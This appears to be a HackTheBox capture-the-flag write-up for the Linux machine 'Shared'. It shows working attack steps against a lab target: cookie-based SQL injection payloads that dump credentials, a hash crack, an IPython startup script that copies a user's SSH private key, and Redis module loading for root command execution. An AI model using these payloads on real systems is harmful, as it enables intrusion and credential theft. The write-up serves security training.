Contents

πŸ•΅οΈ HTB-Writeup : SHARED

Introduction

Welcome to our new HackTheBox write-up! In this article, we will guide you through the steps we took to successfully compromise the targeted machine.

Shared is a Medium Linux machine.

Recon

Nmap scan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
└─$ rustscan -a 10.10.11.172 -b 4000 -- -sV -A -T4 -Pn 

PORT    STATE SERVICE  REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp  open  http     syn-ack nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://shared.htb
443/tcp open  ssl/http syn-ack nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://shared.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We face a website that use PrestaShop, an open-source e-commerce solution. The website is in HTTPS, the certificate does not give interesting informations.

Checking vulnerabilities

I checked if there are some vulnerabilities on PrestaShop using searchsploit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ searchsploit prestashop                   
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Mpay24 PrestaShop Payment Module 1.5 - Multiple Vulnerabilities                    | php/webapps/34586.txt
PrestaShop - 'getSimilarManufacturer.php?id_manufacturer' SQL Injection            | php/webapps/39172.txt
PrestaShop - Multiple Cross-Site Request Forgery Vulnerabilities                   | php/webapps/38656.html
PrestaShop 1.1 - '/admin/login.php?PATH_INFO' Cross-Site Scripting                 | php/webapps/32647.txt
PrestaShop 1.1 - 'order.php?PATH_INFO' Cross-Site Scripting                        | php/webapps/32648.txt
PrestaShop 1.3.6 - 'cms.php' Remote File Inclusion                                 | php/webapps/35575.txt
PrestaShop 1.4.4.1 - '/admin/ajaxfilemanager/ajax_save_text.php' Multiple Cross-Si | php/webapps/36344.txt
PrestaShop 1.4.4.1 - '/modules/mondialrelay/googlemap.php' Multiple Cross-Site Scr | php/webapps/36342.txt
PrestaShop 1.4.4.1 - '/modules/mondialrelay/kit_mondialrelay/SuiviExpedition_ajax. | php/webapps/36343.txt
Prestashop 1.4.4.1 - 'displayImage.php' HTTP Response Splitting                    | php/webapps/36345.txt
PrestaShop 1.4.4.1 mondialrelay (kit_mondialrelay) - Multiple Cross-Site Scripting | php/webapps/36341.txt
PrestaShop 1.4.7 - Multiple Cross-Site Scripting Vulnerabilities                   | php/webapps/37684.html
PrestaShop 1.5.1 - Persistent Cross-Site Scripting                                 | php/webapps/22430.txt
PrestaShop 1.6.x/1.7.x - Remote Code Execution                                     | php/webapps/45964.php
Prestashop 1.7.6.4 - Cross-Site Request Forgery                                    | php/webapps/48347.txt
PrestaShop 1.7.6.7 - 'location' Blind Sql Injection                                | php/webapps/49755.py
Prestashop 1.7.7.0 - 'id_product' Time Based Blind SQL Injection                   | php/webapps/49410.txt
PrestaShop < 1.6.1.19 - 'AES CBC' Privilege Escalation                             | php/webapps/45046.py
PrestaShop < 1.6.1.19 - 'BlowFish ECD' Privilege Escalation                        | php/webapps/45047.txt
Prestashop blockwishlist module 2.1.0 - SQLi                                       | php/webapps/51001.py
PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection    | php/webapps/49267.txt
----------------------------------------------------------------------------------- ---------------------------------

We find that the solution has many vulnerabilities including SQL injection.

Subdomain enumeration

I managed, before trying to exploit vulnerabilities to enumerate subdomain on the server. I did that with fuff.

1
2
3
└─$ ffuf -w /usr/share/wordlists/subdomains-top1mil.txt -H "Host: FUZZ.shared.htb" -u "https://shared.htb" -mc 200

checkout                [Status: 200, Size: 3229, Words: 1509, Lines: 65, Duration: 32ms]

We discover a subdomain checkout.shared.htb. Browsing the subdomain we face a page where we can pay some products with a Credit card form.

drawing

Path to the user

As shown by the searchexploit research, multiple versions of Prestashop are vulnerable to SQL Injection attack.

SQL Injection

I tried SQL injection on several pages and parameters using the sqlmap tool. But the tool did not give any working injection.

Using Burpsuite I found a custom Cookie custom_cart that matches the items in our cart. When analyzing the response, we see that there are 3 columns in the response.

1
2
3
4
	<th scope="row">1</th>
	<td>BTAPXNX4</td>
	<td>1</td>
	<td>$12,90</td>

So, manually, I tried to do an union base injection. I found one working injection !

1
2
3
4
5
6
# trying to extract database name
└─$ curl --insecure "https://checkout.shared.htb" -b "custom_cart={\"coucou' union select 1,database(),3 #\":\"1\"}"                                             
	<th scope="row">1</th>
	<td>checkout</td>
	<td>1</td>
	<td>$3,00</td>

It works! We can now extract data from the database.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# extract tables
└─$ curl --insecure "https://checkout.shared.htb" -b "custom_cart={\"coucou' union select 1,gRoUp_cOncaT(0x7c,table_name,0x7C),3 fRoM information_schema.tables wHeRe table_schema=database() #\":\"1\"}"

	<td>|user|,|product|</td>

# extract users
└─$ curl --insecure "https://checkout.shared.htb" -b "custom_cart={\"coucou' union select 1,gRoUp_cOncaT(0x7c,username,0x7C),3 fRoM user #\":\"1\"}"

    <td>|james_mason|</td>

# extract password
└─$ curl --insecure "https://checkout.shared.htb" -b "custom_cart={\"coucou' union select 1,gRoUp_cOncaT(0x7c,password,0x7C),3 fRoM user #\":\"1\"}" 

	<td>|fc895d4eddc2fc12f995e18c865cf273|</td>

We dump those credentials (password is encrypted): james_mason:fc895d4eddc2fc12f995e18c865cf273.

Using hashcat we can decrypt the hash.

1
2
3
└─$ hashcat -a 0 -m 0 hash  /usr/share/wordlists/rockyou.txt                                          

fc895d4eddc2fc12f995e18c865cf273:Soleil101

We got the credentials: james_mason:Soleil101. Let’s try to connect into the SSH server :)

1
2
3
4
5
└─$ ssh james_mason@10.10.11.172                 
james_mason@10.10.11.172's password: Soleil101

james_mason@shared:~$ id
uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer)

We are in! We can get the user fl… Huuu no :(

Local Recon

The flag is probably own by the user dan_smith.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
james_mason@shared:~$ ls -alih
total 20K
 3980 drwxr-xr-x 2 james_mason james_mason 4.0K Jul 14 13:46 .
23446 drwxr-xr-x 4 root        root        4.0K Jul 14 13:46 ..
45486 lrwxrwxrwx 1 root        root           9 Mar 20  2022 .bash_history -> /dev/null
 4427 -rw-r--r-- 1 james_mason james_mason  220 Mar 20  2022 .bash_logout
 4426 -rw-r--r-- 1 james_mason james_mason 3.5K Mar 20  2022 .bashrc
 4432 -rw-r--r-- 1 james_mason james_mason  807 Mar 20  2022 .profile
 
james_mason@shared:~$ ls -alih /home
total 16K
23446 drwxr-xr-x  4 root        root        4.0K Jul 14 13:46 .
    2 drwxr-xr-x 18 root        root        4.0K Jul 14 13:46 ..
53823 drwxr-xr-x  4 dan_smith   dan_smith   4.0K Jul 14 13:47 dan_smith
 3980 drwxr-xr-x  2 james_mason james_mason 4.0K Jul 14 13:46 james_mason

So we have to find a way to get an access to the user dan_smith. I runned a Linpeas scan.

I tried the Dirty-Pipes exploit that came from the scan, but as expected it doesn’t work.

Checking at the Prestashop directory, we find the admin directory at /var/www/shared.htb/ps/admin337qgl3xc. Browsing to it, we face the admin login form.

drawing

Checking at Prestashop config files, I find credentials of the checkout database at /var/www/checkout.shared.htb/config/.

1
2
3
4
5
6
7
8
james_mason@shared:~$ cat /var/www/checkout.shared.htb/config/db.php

<?php
define('DBHOST','localhost');
define('DBUSER','checkout');
define('DBPWD','a54$K_M4?DdT^HUk');
define('DBNAME','checkout');
?>

Thanks to the linpeas scan, we find a Redis server that is running on port 6379.

1
2
3
james_mason@shared:~$ ps -aux |grep redis
[...]
root       37956  0.3  0.7  65104 14808 ?        Ssl  10:57   0:00 /usr/bin/redis-server 127.0.0.1:6379

Finally, I also find that ipython is installed on the machine. The interesting thing is that an ipython file as been modified in the last 5mins by the user dan_smith. That information also came from the scan.

1
2
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/home/dan_smith/.ipython/profile_default/history.sqlite

As I was alone on the machine at that time, it make me think that a script (in cron?) is probably running every X seconds/minutes. This confirmed by the output of ps -aux that does not give me an ipython process.

The tool pspy fit perfectly to this problematic. It allows us to get all launched process without beeing root. So I start listening processes and I discover that UID=1001, dan_smith, execute those commands:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
james_mason@shared:/tmp$ ./pspy64 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ β–“β–ˆβ–ˆ   β–ˆβ–ˆβ–“
    β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ    β–’ β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ  β–ˆβ–ˆβ–’
    β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’β–‘ β–“β–ˆβ–ˆβ–„   β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’ β–’β–ˆβ–ˆ β–ˆβ–ˆβ–‘
    β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’  β–’   β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’ β–‘ β–β–ˆβ–ˆβ–“β–‘
    β–’β–ˆβ–ˆβ–’ β–‘  β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’β–ˆβ–ˆβ–’ β–‘  β–‘ β–‘ β–ˆβ–ˆβ–’β–“β–‘
    β–’β–“β–’β–‘ β–‘  β–‘β–’ β–’β–“β–’ β–’ β–‘β–’β–“β–’β–‘ β–‘  β–‘  β–ˆβ–ˆβ–’β–’β–’ 
    β–‘β–’ β–‘     β–‘ β–‘β–’  β–‘ β–‘β–‘β–’ β–‘     β–“β–ˆβ–ˆ β–‘β–’β–‘ 
    β–‘β–‘       β–‘  β–‘  β–‘  β–‘β–‘       β–’ β–’ β–‘β–‘  
                   β–‘           β–‘ β–‘     
                               β–‘ β–‘     
[...]
2022/11/08 02:51:01 CMD: UID=1001 PID=72318  | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython 

User dan_smith go into the directory /opt/scripts_review/ and run ipython.

User lateralization

Reading the documentation of IPython, I find a page that talk about startup script. Startup script allows a user to execute .py scripts at the beginning of an ipython session. User has to create the script and put it in a profile_default/startup/ directory. Scripts will be executed when running ipython.

As the user dan_smith go to the directory /opt/scripts_review/ I create the following tree structure.

1
2
3
4
/opt/scripts_review
└── profile_default
    └── startup
        └── e.py

Where e.py send the output of ~/.ssh/id_rsa into a file.

e.py

1
2
import os
os.system("cat ~/.ssh/id_rsa > /tmp/test")

Waiting for the user dan_smith to run the ipython session and we can access his SSH private key on the file we specified in the script!

1
2
3
4
5
6
james_mason@shared:/opt/scripts_review$ cat /tmp/test
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
tfJMvuTgb3NhHvUwAAAAtyb290QHNoYXJlZAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

We can now access to the user and get the user flag :)

1
2
3
4
dan_smith@shared:~$ id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
dan_smith@shared:~$ cat user.txt 
**************************a7e41f

Path to the privesc

Local recon

As we saw earlier, there is a redis server running. Redis is an open source, in-memory, key-value data store.

In a redis console, we can get some information about the server using the INFO command. Unfortunately, user dan_smith can’t use redis without password, we got the NOAUTH error again. But we find an executable /usr/local/bin/redis_connector_dev that execute the info command on redis using a password that we don’t have.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
dan_smith@shared:~$ /usr/local/bin/redis_connector_dev
[+] Logging to redis instance using password...

INFO command result:
# Server
redis_version:6.0.15
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:4610f4c3acf7fb25
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:93278
run_id:23eb0bb0997fedebea238f41b2bffe66f13d75ee
tcp_port:6379
uptime_in_seconds:47
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:6973290
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
io_threads_active:0
 <nil>

Get redis password

So the password is read on a file, maybe on the root folder, then sent to the redis process that is running on port 6379. I managed to download the binary on my own machine, create a listener on port 6379 to try to get the password sent by the binary.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# download the binary
└─$ scp -i key dan_smith@10.10.11.172:/usr/local/bin/redis_connector_dev /tmp/binary
# set execution perms
└─$ chmod +x /tmp/binary

# create a listener
└─$ nc -lvnp 6379

# execute the binary
└─$ /tmp/binary

As a result, we get the password in the listener.

1
2
3
4
5
6
7
8
└─$ nc -lvnp 6379  
listening on [any] 6379 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53438
*2
$4
auth
$16
F2WHqJUz2WEz=Gqq

We can now connect into the redis console and execute commands.

1
2
3
dan_smith@shared:~$ redis-cli
127.0.0.1:6379> auth F2WHqJUz2WEz=Gqq
OK

Redis RCE exploit

From Hacktricks we learn that it is possible to do a RCE using Redis module. We can create a module using that repo RedisModules-ExecuteCommand and then load it into the redis-cli. This module allow a user to execute system commands. As the running redis server is own by root, we’ll be able to execute commands as root !

1
2
3
4
127.0.0.1:6379> MODULE LOAD /home/dan_smith/test/module.so
OK
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"

We can now get the root flag :)